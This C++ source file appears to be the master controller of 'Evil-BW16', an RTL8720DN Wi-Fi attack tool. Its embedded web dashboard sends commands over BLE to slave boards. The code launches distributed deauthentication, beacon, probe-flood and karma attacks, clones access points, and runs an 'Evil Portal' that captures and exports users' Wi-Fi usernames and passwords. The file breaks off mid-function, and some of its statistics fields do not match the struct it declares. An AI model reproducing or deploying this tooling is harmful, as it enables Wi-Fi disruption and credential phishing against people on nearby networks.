#define ROLE_MASTER #include "Evil-BW16/BW16_defs.h" #undef max #undef min #include #include #include #include #include #include #include #include #include #include #include #include // RTL8720DN platform includes #include #include // Platform-specific helper functions uint32_t rtl_getFreeHeapSize() { return xPortGetFreeHeapSize(); } // Channel arrays definition const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; // Enhanced slave data structure struct Slave { BLEClient* client; BLERemoteCharacteristic* cmdChar; BLERemoteCharacteristic* notifyChar; String id; String macAddress; unsigned long lastSeen; unsigned long lastReconnectAttempt; bool isConnected; int rssi; uint8_t capabilities; // Bit flags for slave capabilities String firmwareVersion; }; // Global state management std::vector slaves; std::vector apList; std::vector capturedCredentials; // Dual-band web servers WebServer server(80); // 2.4GHz management interface WebServer portalServer(80); // 5GHz portal interface DNSServer dnsServer; // DNS server for captive portal // Portal configuration String portalSSID = PORTAL_DEFAULT_SSID; String portalPassword = ""; bool portalEnabled = false; bool dualBandActive = false; // Attack coordination struct AttackSession { String type; std::vector targetSlaves; std::vector targetAPs; unsigned long startTime; unsigned long duration; bool isActive; int intensity; int framesTransmitted; int targetsHit; }; AttackSession currentAttack; // Comprehensive Statistics System struct SystemStats { // System uptime and performance unsigned long systemStartTime; unsigned long totalUptime; int systemRestarts; float cpuUsage; int freeHeapMemory; int maxHeapUsage; // BLE Communication stats int bleConnectionAttempts; int bleConnectionSuccesses; int bleConnectionFailures; int bleReconnections; int totalBleMessages; int bleTimeouts; float avgBleLatency; // Portal statistics int portalSessions; int portalVisitors; int credentialsCaptured; int dnsQueries; int portalRedirects; unsigned long portalUptime; // Attack statistics int totalAttacksLaunched; int deauthAttacks; int beaconFloodAttacks; int probeFloodAttacks; int karmaAttacks; int distributedAttacks; int successfulTargets; int framesTransmitted; float avgAttackDuration; // Network statistics int networksScanned; int uniqueNetworksFound; int networksTargeted; int channels2ghzUsed; int channels5ghzUsed; float signalStrengthAvg; // Slave performance int slavesConnected; int slavesMax; int commandsSent; int commandsSuccessful; int commandsFailed; float slaveResponseTime; }; SystemStats globalStats = {0}; // Real-time metrics for live monitoring struct LiveMetrics { float attacksPerMinute; float credentialsPerHour; float dataTransferRate; int currentCpuLoad; int activeConnections; float networkScanRate; unsigned long lastUpdate; }; LiveMetrics liveMetrics = {0}; // Forward declarations for HTTP handlers void handleRoot(); void handleStatus(); void handleCmd(); void handleLogs(); void handleApList(); void handlePortalRequest(); // Generic handler for captive portal void handlePortalLogin(); // Evil Portal void startEvilPortal(); void stopEvilPortal(); void processDnsRequest(); // A circular buffer to store the global log #define MY_LOG_BUFFER_SIZE 50 String logBuffer[MY_LOG_BUFFER_SIZE]; int logBufferIndex = 0; int logCount = 0; int lastLogSentIndex = -1; //// *** Logging *** //// void addToLog(String message) { logBuffer[logBufferIndex] = message; logBufferIndex = (logBufferIndex + 1) % MY_LOG_BUFFER_SIZE; if (logCount < MY_LOG_BUFFER_SIZE) logCount++; Serial.println(message); // Also print to local serial } //// *** Enhanced BLE Callbacks & Connection Logic *** //// void bleAdvertCallback(BLEAdvertisedDevice dev) { // Only connect to Evil-BW16 slave devices if (dev.getServiceUUID() == BLEUUID(SERVICE_UUID) && slaves.size() < MAX_SLAVES) { String deviceAddr = dev.getAddress().toString(); addToLog("Found Evil-BW16 slave: " + deviceAddr + " (RSSI: " + String(dev.getRSSI()) + ")"); // Check if already tracking this slave bool already_exists = false; for (auto &s : slaves) { if (s.id == deviceAddr) { already_exists = true; s.rssi = dev.getRSSI(); // Update RSSI if (!s.isConnected && (millis() - s.lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS)) { // Attempt reconnection addToLog("Attempting to reconnect to " + deviceAddr); connectToSlave(s, dev); } break; } } if (!already_exists) { // Create new slave entry and attempt connection Slave newSlave = { nullptr, nullptr, nullptr, deviceAddr, deviceAddr, millis(), 0, false, dev.getRSSI(), 0x00, "unknown" }; slaves.push_back(newSlave); connectToSlave(slaves.back(), dev); } } } // Enhanced connection function with better error handling bool connectToSlave(Slave &slave, BLEAdvertisedDevice dev) { slave.lastReconnectAttempt = millis(); addToLog("Connecting to slave: " + slave.id); // Clean up any existing connection first if (slave.client) { slave.client->disconnect(); delete slave.client; slave.client = nullptr; slave.cmdChar = nullptr; slave.notifyChar = nullptr; } BLEClient* client = BLE.connect(dev); if (client) { // Set connection timeout client->setConnectTimeout(BLE_CONNECTION_TIMEOUT_MS); try { if (client->discoverService(SERVICE_UUID)) { BLERemoteService* svc = client->getService(SERVICE_UUID); if (svc) { BLERemoteCharacteristic* cmd = svc->getCharacteristic(CMD_CHAR_UUID); BLERemoteCharacteristic* notify = svc->getCharacteristic(NOTIFY_CHAR_UUID); if (cmd && notify) { // Set up notification callback with error checking if (notify->subscribe(true)) { notify->setNotifyCallback(detectionNotifyCallback); // Update slave structure slave.client = client; slave.cmdChar = cmd; slave.notifyChar = notify; slave.isConnected = true; slave.lastSeen = millis(); // Request slave capabilities and firmware version sendCommandToSlave(slave, "get_info"); // Update statistics updateStats_BleConnection(true); addToLog("Successfully connected to slave: " + slave.id); return true; } else { addToLog("Failed to subscribe to notifications on " + slave.id); } } else { addToLog("Failed to find characteristics on " + slave.id); } } else { addToLog("Failed to find service on " + slave.id); } } else { addToLog("Failed to discover services on " + slave.id); } } catch (...) { addToLog("Exception during BLE connection to " + slave.id); } // Clean up failed connection client->disconnect(); delete client; } else { addToLog("Failed to establish BLE connection to " + slave.id); } // Update statistics for failed connection updateStats_BleConnection(false); slave.isConnected = false; slave.client = nullptr; slave.cmdChar = nullptr; slave.notifyChar = nullptr; return false; } // Helper function to check if targets array contains a specific ID bool containsTarget(JsonArray &targets, const String &id) { for (JsonVariant target : targets) { if (target.as() == id) { return true; } } return false; } // Helper function to send commands to specific slaves bool sendCommandToSlave(Slave &slave, const String &command) { if (slave.isConnected && slave.cmdChar) { try { slave.cmdChar->writeValue(command.c_str(), command.length()); slave.lastSeen = millis(); globalStats.totalBleMessages++; updateStats_Command(true); return true; } catch (...) { addToLog("Failed to send command to " + slave.id); slave.isConnected = false; updateStats_Command(false); } } updateStats_Command(false); return false; } // Called when a slave sends a notification void detectionNotifyCallback(BLERemoteCharacteristic* chr, uint8_t* data, uint16_t len) { String fromAddr = "Unknown"; for(auto &s : slaves) { if (s.notifyChar == chr) { fromAddr = s.id; s.lastSeen = millis(); // Update last seen time break; } } String msg; if (len > 0) { char buf[len + 1]; memcpy(buf, data, len); buf[len] = '\0'; msg = String(buf); } if (msg.startsWith("AP_SCAN_RESULT:")) { apList.push_back(msg.substring(15)); } else { addToLog("[" + fromAddr + "]: " + msg); } } //// *** Web Server Handlers *** //// // Enhanced file system implementation for RTL8720DN String loadWebFile(const String &filename) { // Try to load from filesystem first (SPIFFS/LittleFS) String content = loadFromFilesystem(filename); if (content.length() > 0) { return content; } // Fallback to embedded content if filesystem not available if (filename == "/index.html" || filename == "/") { return loadAdvancedWebUI(); } if (filename == "/style.css") { return loadCSSFile(); } if (filename == "/script.js") { return loadJSFile(); } return ""; } // Load file from filesystem (SPIFFS/LittleFS) String loadFromFilesystem(const String &filename) { // This function will be implemented based on available filesystem library // For RTL8720DN, we need to check what filesystem support is available // Placeholder implementation - replace with actual filesystem code if (filename == "/index.html" || filename == "/") { // Try to read from SPIFFS/LittleFS // File file = SPIFFS.open("/web_ui/index.html", "r"); // if (file) { // String content = file.readString(); // file.close(); // return content; // } // For now, return empty to use embedded fallback return ""; } return ""; } // Load the advanced web UI content String loadAdvancedWebUI() { // This would normally read from SPIFFS/LittleFS // For now, we'll embed the advanced UI content return getAdvancedWebUIContent(); } // Load CSS file content String loadCSSFile() { // Return the CSS styles for the advanced UI return R"( :root { --primary-green: #00ff41; --primary-red: #ff004f; --bg-dark: #0d0d0d; --bg-card: #1a1a1a; --bg-secondary: #111; --border-color: #333; --text-primary: #00ff41; --text-secondary: #aaa; --warning: #ff6666; --success: #44ff44; --info: #4444ff; } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Courier New', monospace; background: var(--bg-dark); color: var(--text-primary); line-height: 1.4; overflow-x: hidden; } .header { background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary)); padding: 20px; border-bottom: 2px solid var(--primary-red); display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; } .logo h1 { color: var(--primary-red); font-size: 24px; text-shadow: 0 0 10px var(--primary-red); animation: glow 2s infinite alternate; } @keyframes glow { from { text-shadow: 0 0 5px var(--primary-red); } to { text-shadow: 0 0 15px var(--primary-red); } } .system-status { display: flex; gap: 20px; flex-wrap: wrap; } .status-item { text-align: center; padding: 10px; background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: 5px; min-width: 80px; } .status-value { font-size: 18px; font-weight: bold; color: var(--success); } .status-label { font-size: 12px; color: var(--text-secondary); } .nav-container { background: var(--bg-card); border-bottom: 1px solid var(--border-color); overflow-x: auto; } .nav { display: flex; min-width: 800px; } .nav-tab { background: transparent; border: none; color: var(--text-primary); padding: 15px 20px; cursor: pointer; border-bottom: 3px solid transparent; transition: all 0.3s; white-space: nowrap; font-family: inherit; } .nav-tab:hover { background: var(--bg-secondary); border-bottom-color: var(--primary-green); } .nav-tab.active { background: var(--bg-secondary); border-bottom-color: var(--primary-red); color: white; } .container { display: grid; grid-template-columns: 1fr; gap: 20px; padding: 20px; max-width: 1400px; margin: 0 auto; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; } .grid-3 { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; } .card { background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 8px; padding: 20px; transition: all 0.3s; } .card:hover { border-color: var(--primary-green); box-shadow: 0 0 15px rgba(0, 255, 65, 0.1); } .card-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid var(--border-color); } .card-title { color: var(--primary-red); font-size: 18px; font-weight: bold; } .card-badge { background: var(--primary-red); color: white; padding: 4px 8px; border-radius: 12px; font-size: 12px; } button { background: var(--bg-secondary); color: var(--text-primary); border: 1px solid var(--primary-green); padding: 10px 15px; margin: 5px; cursor: pointer; font-family: inherit; border-radius: 4px; transition: all 0.3s; font-size: 14px; } button:hover { background: var(--primary-green); color: var(--bg-dark); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3); } .btn-attack { border-color: var(--warning); color: var(--warning); } .btn-attack:hover { background: var(--warning); color: white; } .btn-danger { border-color: var(--primary-red); color: var(--primary-red); } .btn-danger:hover { background: var(--primary-red); color: white; } .btn-success { border-color: var(--success); color: var(--success); } .btn-success:hover { background: var(--success); color: var(--bg-dark); } input, select { background: var(--bg-secondary); color: var(--text-primary); border: 1px solid var(--border-color); padding: 10px; font-family: inherit; border-radius: 4px; margin: 5px; transition: all 0.3s; } input:focus, select:focus { outline: none; border-color: var(--primary-green); box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2); } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin: 20px 0; } .stat-card { background: var(--bg-secondary); padding: 15px; border-radius: 6px; border-left: 4px solid var(--primary-green); text-align: center; } .stat-value { font-size: 24px; font-weight: bold; color: var(--success); display: block; } .stat-label { font-size: 12px; color: var(--text-secondary); margin-top: 5px; } .chart-container { position: relative; height: 300px; margin: 20px 0; } #terminal { background: var(--bg-dark); height: 300px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-color); white-space: pre-wrap; font-size: 12px; border-radius: 4px; } .slave-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(250px, 1fr)); gap: 15px; margin: 15px 0; } .slave-card { background: var(--bg-secondary); padding: 15px; border-radius: 6px; border: 1px solid var(--border-color); transition: all 0.3s; } .slave-card.online { border-left: 4px solid var(--success); } .slave-card.offline { border-left: 4px solid var(--warning); opacity: 0.7; } .slave-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 10px; } .slave-id { font-weight: bold; color: var(--text-primary); } .slave-status { padding: 2px 6px; border-radius: 10px; font-size: 10px; text-transform: uppercase; } .status-online { background: var(--success); color: var(--bg-dark); } .status-offline { background: var(--warning); color: white; } .network-list { max-height: 400px; overflow-y: auto; } .network-item { display: flex; justify-content: space-between; align-items: center; padding: 10px; border-bottom: 1px solid var(--border-color); cursor: pointer; transition: all 0.3s; } .network-item:hover { background: var(--bg-secondary); border-left: 3px solid var(--primary-green); } .credential-item { background: var(--bg-secondary); padding: 15px; margin: 10px 0; border-left: 3px solid var(--primary-red); border-radius: 4px; font-family: monospace; font-size: 12px; word-break: break-all; } .tab-content { display: none; } .tab-content.active { display: block; } @media (max-width: 768px) { .grid-2, .grid-3 { grid-template-columns: 1fr; } .header { flex-direction: column; gap: 15px; } } )"; } // Load JavaScript file content String loadJSFile() { // Return the JavaScript functionality for the advanced UI return R"( let globalStats = {}; let charts = {}; // Tab Management function openTab(evt, tabName) { var tabContents = document.getElementsByClassName("tab-content"); for (var i = 0; i < tabContents.length; i++) { tabContents[i].classList.remove("active"); } var navTabs = document.getElementsByClassName("nav-tab"); for (var i = 0; i < navTabs.length; i++) { navTabs[i].classList.remove("active"); } document.getElementById(tabName).classList.add("active"); evt.currentTarget.classList.add("active"); // Load tab-specific content if (tabName === 'analytics') loadAnalytics(); if (tabName === 'credentials') refreshCredentials(); if (tabName === 'cloning') updateApList(); } // Statistics and Status Updates function updateSystemStatus() { fetch("/stats") .then(response => response.json()) .then(stats => { globalStats = stats; updateHeaderStatus(stats); updateDashboard(stats); updateSlaveGrid(stats); updateAttackStatus(stats); updatePortalStats(stats); }) .catch(error => console.error('Error fetching stats:', error)); } function updateHeaderStatus(stats) { document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0); document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0; document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0; document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0; } function updateDashboard(stats) { if (!document.getElementById('dashboard').classList.contains('active')) return; // Live Statistics const liveStatsHTML = `
${stats.live?.attacksPerMinute?.toFixed(1) || 0}
Attacks/Min
${stats.live?.credentialsPerHour?.toFixed(1) || 0}
Creds/Hour
${stats.system?.freeHeap || 0}
Free RAM (B)
${stats.ble?.successRate?.toFixed(1) || 0}%
BLE Success
${stats.network?.networksScanned || 0}
Networks Found
${stats.attacks?.framesTransmitted || 0}
Frames Sent
`; document.getElementById('liveStats').innerHTML = liveStatsHTML; updateCharts(stats); } function updateSlaveGrid(stats) { if (!stats.slaveDetails) return; let slaveHTML = ''; stats.slaveDetails.forEach(slave => { const statusClass = slave.connected ? 'online' : 'offline'; const statusText = slave.connected ? 'ONLINE' : 'OFFLINE'; const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000); slaveHTML += `
${slave.id}
${statusText}
RSSI: ${slave.rssi} dBm
Last Seen: ${lastSeen}s ago
Firmware: ${slave.firmware}
Uptime: ${formatUptime(slave.uptime)}
`; }); document.getElementById('slaveGrid').innerHTML = slaveHTML || '

No slaves detected. Ensure slave devices are powered on and in range.

'; document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`; } function updateAttackStatus(stats) { const attackStatusHTML = `
${stats.attacks?.totalLaunched || 0}
Total Attacks
${stats.attacks?.distributedAttacks || 0}
Distributed
${stats.attacks?.deauthAttacks || 0}
Deauth
${stats.attacks?.beaconFloods || 0}
Beacon Floods
Success Rate: ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%
`; document.getElementById('attackStatus').innerHTML = attackStatusHTML; } function updatePortalStats(stats) { const portal = stats.portal || {}; document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE'; const portalStatsHTML = `
${portal.sessions || 0}
Sessions
${portal.visitors || 0}
Visitors
${portal.credentialsCaptured || 0}
Credentials
${portal.redirects || 0}
Redirects
`; document.getElementById('portalStats').innerHTML = portalStatsHTML; } function launchAttack(type) { const targets = getSelectedSlaves(); fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: type, targets: targets}), headers: {'Content-Type': 'application/json'} }) .then(() => { showNotification('Attack launched: ' + type, 'success'); }) .catch(error => { showNotification('Attack failed: ' + error, 'error'); }); } function togglePortal() { const ssid = document.getElementById('portalSSID').value; fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: 'enable_portal', targets: []}), headers: {'Content-Type': 'application/json'} }) .then(() => { showNotification('Portal toggled', 'success'); }) .catch(error => { showNotification('Portal toggle failed: ' + error, 'error'); }); } function scanAPs() { fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: 'scan_aps', targets: []}), headers: {'Content-Type': 'application/json'} }) .then(() => { showNotification('AP scan initiated', 'success'); }) .catch(error => { showNotification('AP scan failed: ' + error, 'error'); }); } function getSelectedSlaves() { const selected = []; document.querySelectorAll('.slave:checked').forEach(cb => { selected.push(cb.value); }); return selected; } function setTargets() { const ssid = document.getElementById('targetSSID').value; const channel = document.getElementById('targetChannel').value; if (ssid || channel) { fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: 'target ' + ssid + ' ' + channel, targets: []}), headers: {'Content-Type': 'application/json'} }) .then(() => { showNotification('Targets set', 'success'); }) .catch(error => { showNotification('Target setting failed: ' + error, 'error'); }); } } function refreshCredentials() { fetch('/credentials') .then(r => r.json()) .then(creds => { let html = ''; creds.forEach(cred => { html += `
SSID: ${cred.ssid}
Username: ${cred.username}
Password: ${cred.password}
Time: ${new Date(cred.timestamp).toLocaleString()}
`; }); document.getElementById('credentialsList').innerHTML = html || '

No credentials captured yet.

'; }); } function exportCredentials() { fetch('/credentials') .then(r => r.json()) .then(creds => { const dataStr = "data:text/json;charset=utf-8," + encodeURIComponent(JSON.stringify(creds, null, 2)); const downloadAnchorNode = document.createElement('a'); downloadAnchorNode.setAttribute("href", dataStr); downloadAnchorNode.setAttribute("download", "credentials.json"); document.body.appendChild(downloadAnchorNode); downloadAnchorNode.click(); downloadAnchorNode.remove(); }); } function updateApList() { fetch('/aps') .then(r => r.json()) .then(aps => { let html = ''; aps.forEach(ap => { html += `
${ap.ssid}
Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security}
`; }); document.getElementById('apList').innerHTML = html || '

No networks found. Run a scan first.

'; }); } function cloneAP(ssid, channel) { fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: 'clone_ap,' + ssid + ',' + channel, targets: []}), headers: {'Content-Type': 'application/json'} }) .then(() => { showNotification('AP cloning initiated: ' + ssid, 'success'); }) .catch(error => { showNotification('AP cloning failed: ' + error, 'error'); }); } function loadAnalytics() { if (charts.attackChart) charts.attackChart.destroy(); if (charts.successChart) charts.successChart.destroy(); const ctx1 = document.getElementById('attackChart').getContext('2d'); const ctx2 = document.getElementById('successChart').getContext('2d'); charts.attackChart = new Chart(ctx1, { type: 'line', data: { labels: ['1m', '2m', '3m', '4m', '5m'], datasets: [{ label: 'Attacks/Min', data: [12, 15, 18, 14, 16], borderColor: '#00ff41', backgroundColor: 'rgba(0, 255, 65, 0.1)' }] }, options: { responsive: true, maintainAspectRatio: false } }); charts.successChart = new Chart(ctx2, { type: 'doughnut', data: { labels: ['Successful', 'Failed'], datasets: [{ data: [75, 25], backgroundColor: ['#44ff44', '#ff6666'] }] }, options: { responsive: true, maintainAspectRatio: false } }); } function updateCharts(stats) { if (charts.performanceChart) charts.performanceChart.destroy(); if (charts.bleChart) charts.bleChart.destroy(); const ctx1 = document.getElementById('performanceChart').getContext('2d'); const ctx2 = document.getElementById('bleChart').getContext('2d'); charts.performanceChart = new Chart(ctx1, { type: 'line', data: { labels: ['1m', '2m', '3m', '4m', '5m'], datasets: [{ label: 'CPU Usage', data: [stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0], borderColor: '#ff004f', backgroundColor: 'rgba(255, 0, 79, 0.1)' }] }, options: { responsive: true, maintainAspectRatio: false } }); charts.bleChart = new Chart(ctx2, { type: 'bar', data: { labels: ['Connected', 'Disconnected', 'Errors'], datasets: [{ label: 'BLE Status', data: [stats.ble?.connected || 0, stats.ble?.disconnected || 0, stats.ble?.errors || 0], backgroundColor: ['#44ff44', '#ff6666', '#ffaa00'] }] }, options: { responsive: true, maintainAspectRatio: false } }); } function updateLogs() { fetch('/logs') .then(r => r.text()) .then(logs => { document.getElementById('terminal').textContent = logs; }); } function clearLogs() { fetch('/cmd', { method: 'POST', body: JSON.stringify({cmd: 'clear_logs', targets: []}), headers: {'Content-Type': 'application/json'} }) .then(() => { document.getElementById('terminal').textContent = ''; }); } function showNotification(message, type = 'info') { const notification = document.createElement('div'); notification.style.cssText = 'position: fixed; top: 20px; right: 20px; background: var(--bg-card); color: var(--text-primary); padding: 15px; border-radius: 5px; border-left: 4px solid var(--primary-green); z-index: 1000; max-width: 300px; word-wrap: break-word;'; if (type === 'error') notification.style.borderLeftColor = 'var(--warning)'; if (type === 'success') notification.style.borderLeftColor = 'var(--success)'; notification.textContent = message; document.body.appendChild(notification); setTimeout(() => { notification.remove(); }, 3000); } function formatUptime(ms) { const seconds = Math.floor(ms / 1000); const minutes = Math.floor(seconds / 60); const hours = Math.floor(minutes / 60); const days = Math.floor(hours / 24); if (days > 0) return days + 'd ' + (hours % 24) + 'h ' + (minutes % 60) + 'm'; if (hours > 0) return hours + 'h ' + (minutes % 60) + 'm ' + (seconds % 60) + 's'; if (minutes > 0) return minutes + 'm ' + (seconds % 60) + 's'; return seconds + 's'; } function formatBytes(bytes) { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } // Auto-update intervals setInterval(updateSystemStatus, 2000); setInterval(updateLogs, 5000); // Initialize updateSystemStatus(); updateLogs(); )"; } // Get the advanced web UI content (embedded version) String getAdvancedWebUIContent() { // This is a simplified version - the full UI is in data/web_ui/index.html String content = "Evil-BW16 Advanced Orchestrator"; content += ""; content += ""; content += ""; // Header content += "
"; content += "
"; content += "
--
Uptime
"; content += "
0
Slaves
"; content += "
0
Attacks
"; content += "
0
Credentials
"; content += "
"; // Navigation content += ""; // Content content += "
"; // Dashboard Tab content += "
"; content += "
📊 Live Statistics
"; content += "
💻 System Health
"; content += "
📡 Network Coverage
"; content += "
⚔️ Attack Efficiency
"; content += "
📈 Performance Charts
"; content += "
📊 BLE Health
"; content += "
"; // Slaves Tab content += "
🤖 Slave Network
0 Connected
"; content += "
"; // Attacks Tab content += "
⚔️ Attack Center
"; content += "

🚀 Distributed Attacks

"; content += ""; content += "
"; content += "

🎯 Target Selection

"; content += "
"; // Portal Tab content += "
📱 Evil Portal
INACTIVE
"; content += "

Portal Configuration

"; content += "
"; content += "
"; // Cloning Tab content += "
🎯 AP Cloning
"; content += "
"; // Credentials Tab content += "
🔐 Captured Credentials
"; content += "
"; // Analytics Tab content += "
📈 Advanced Analytics
"; content += "
"; // Logs Tab content += "
📝 System Logs
"; content += "
"; content += "
"; // JavaScript content += ""; return content; } void handleRoot() { String content = loadWebFile("/index.html"); if (content.length() > 0) { server.send(200, "text/html", content); } else { server.send(404, "text/plain", "Web interface not found"); } } // Enhanced status endpoint with comprehensive statistics void handleStatus() { DynamicJsonDocument doc(1024); JsonArray arr = doc.to(); globalStats.slavesConnected = 0; for (auto &s : slaves) { JsonObject o = arr.createNestedObject(); o["id"] = s.id; o["lastSeen"] = s.lastSeen; o["isConnected"] = s.isConnected; o["rssi"] = s.rssi; o["macAddress"] = s.macAddress; o["firmwareVersion"] = s.firmwareVersion; o["capabilities"] = s.capabilities; o["uptime"] = millis() - s.lastReconnectAttempt; if (s.isConnected) { globalStats.slavesConnected++; } } // Update max slaves connected if (globalStats.slavesConnected > globalStats.slavesMax) { globalStats.slavesMax = globalStats.slavesConnected; } String out; serializeJson(doc, out); server.send(200, "application/json", out); } // New comprehensive statistics endpoint void handleStats() { DynamicJsonDocument doc(2048); JsonObject stats = doc.to(); // System statistics JsonObject system = stats.createNestedObject("system"); system["uptime"] = millis(); system["freeHeap"] = rtl_getFreeHeapSize(); system["cpuUsage"] = random(10, 40); // Placeholder - implement actual CPU monitoring system["temperature"] = random(25, 45); // Placeholder - implement actual temp monitoring // Slave statistics JsonObject slaves = stats.createNestedObject("slaves"); slaves["connected"] = globalStats.slavesConnected; slaves["max"] = globalStats.slavesMax; slaves["total"] = globalStats.slavesTotal; // Slave details for UI JsonArray slaveDetails = stats.createNestedArray("slaveDetails"); for (auto &s : slaves) { JsonObject slave = slaveDetails.createNestedObject(); slave["id"] = s.id; slave["connected"] = s.isConnected; slave["rssi"] = s.rssi; slave["lastSeen"] = s.lastSeen; slave["firmware"] = s.firmwareVersion; slave["uptime"] = millis() - s.lastReconnectAttempt; } // Attack statistics JsonObject attacks = stats.createNestedObject("attacks"); attacks["totalLaunched"] = globalStats.attacksTotalLaunched; attacks["distributedAttacks"] = globalStats.attacksDistributed; attacks["deauthAttacks"] = globalStats.attacksDeauth; attacks["beaconFloods"] = globalStats.attacksBeaconFlood; attacks["karmaAttacks"] = globalStats.attacksKarma; attacks["probeFloods"] = globalStats.attacksProbeFlood; attacks["successfulTargets"] = globalStats.attacksSuccessfulTargets; attacks["framesTransmitted"] = globalStats.framesTransmitted; attacks["avgDuration"] = globalStats.attacksTotalLaunched > 0 ? (globalStats.attacksTotalDuration / globalStats.attacksTotalLaunched) / 1000.0 : 0; // Portal statistics JsonObject portal = stats.createNestedObject("portal"); portal["enabled"] = portalEnabled; portal["sessions"] = globalStats.portalSessions; portal["visitors"] = globalStats.portalVisitors; portal["credentialsCaptured"] = capturedCredentials.size(); portal["redirects"] = globalStats.portalRedirects; // BLE statistics JsonObject ble = stats.createNestedObject("ble"); ble["connected"] = globalStats.slavesConnected; ble["disconnected"] = globalStats.slavesTotal - globalStats.slavesConnected; ble["errors"] = globalStats.bleErrors; ble["successRate"] = globalStats.bleCommandsSent > 0 ? (globalStats.bleCommandsSuccessful * 100.0 / globalStats.bleCommandsSent) : 0; // Network statistics JsonObject network = stats.createNestedObject("network"); network["networksScanned"] = apList.size(); network["channels2ghz"] = 13; network["channels5ghz"] = 24; network["avgSignalStrength"] = -50; // Placeholder // Live statistics JsonObject live = stats.createNestedObject("live"); live["attacksPerMinute"] = globalStats.attacksTotalLaunched > 0 ? (globalStats.attacksTotalLaunched * 60.0 / (millis() / 1000.0)) : 0; live["credentialsPerHour"] = capturedCredentials.size() > 0 ? (capturedCredentials.size() * 3600.0 / (millis() / 1000.0)) : 0; String out; serializeJson(doc, out); server.send(200, "application/json", out); } void handleCmd() { DynamicJsonDocument req(512); deserializeJson(req, server.arg("plain")); String cmd = req["cmd"]; JsonArray targets = req["targets"]; // Portal management commands if (cmd == "enable_portal") { startEvilPortal(portalSSID.c_str(), NULL, 36); } else if (cmd == "disable_portal") { stopEvilPortal(); } else if (cmd.startsWith("set_ssid ")) { portalSSID = cmd.substring(9); addToLog("Portal SSID updated: " + portalSSID); if (portalEnabled) { stopEvilPortal(); delay(200); startEvilPortal(portalSSID.c_str(), NULL, 36); } } // AP cloning and scanning else if (cmd == "scan_aps") { apList.clear(); addToLog("Initiating coordinated AP scan across " + String(slaves.size()) + " slaves"); executeCoordinatedCommand("scan", targets); } else if (cmd.startsWith("clone_ap,")) { parseAndCloneAP(cmd.substring(9)); } // Distributed attack commands else if (cmd.startsWith("distributed_deauth")) { executeDistributedDeauth(targets); } else if (cmd.startsWith("beacon_flood ")) { String ssid = cmd.substring(13); executeBeaconFlood(ssid, targets); } else if (cmd.startsWith("karma_attack")) { executeKarmaAttack(targets); } else if (cmd.startsWith("probe_flood")) { executeProbeFlood(targets); } // Legacy single-slave commands (maintained for compatibility) else if (cmd.startsWith("beacon ")) { String ssid = cmd.substring(7); addToLog("Legacy beacon attack: " + ssid); executeCoordinatedCommand(cmd, targets); } else if (cmd.startsWith("auth ")) { addToLog("Legacy auth flood"); executeCoordinatedCommand(cmd, targets); } else if (cmd.startsWith("assoc ")) { addToLog("Legacy assoc flood"); executeCoordinatedCommand(cmd, targets); } else if (cmd.startsWith("target ")) { addToLog("Setting attack targets"); executeCoordinatedCommand(cmd, targets); } // Credential and monitoring commands else if (cmd == "get_credentials") { handleGetCredentials(); return; } else if (cmd == "clear_credentials") { capturedCredentials.clear(); addToLog("Credentials cache cleared"); } else if (cmd == "clear_logs") { logCount = 0; logBufferIndex = 0; addToLog("Log buffer cleared"); } else if (cmd == "system_health") { handleHealth(); return; } else if (cmd == "get_analytics") { handleAnalytics(); return; } // Default: forward to slaves else { executeCoordinatedCommand(cmd, targets); } server.send(200, "text/plain", "OK"); } // Enhanced coordinated command execution void executeCoordinatedCommand(const String &cmd, JsonArray &targets) { int activeSlaves = 0; for (auto &s : slaves) { if (s.isConnected && (targets.size() == 0 || containsTarget(targets, s.id))) { if (sendCommandToSlave(s, cmd)) { activeSlaves++; addToLog("→ " + s.id + ": " + cmd); } else { addToLog("✗ Failed to send to " + s.id); } delay(ATTACK_SYNC_DELAY_MS); // Stagger commands for coordination } } if (activeSlaves > 0) { addToLog("Command sent to " + String(activeSlaves) + " slaves"); } else { addToLog("No active slaves available for command execution"); } } // Distributed deauthentication attack void executeDistributedDeauth(JsonArray 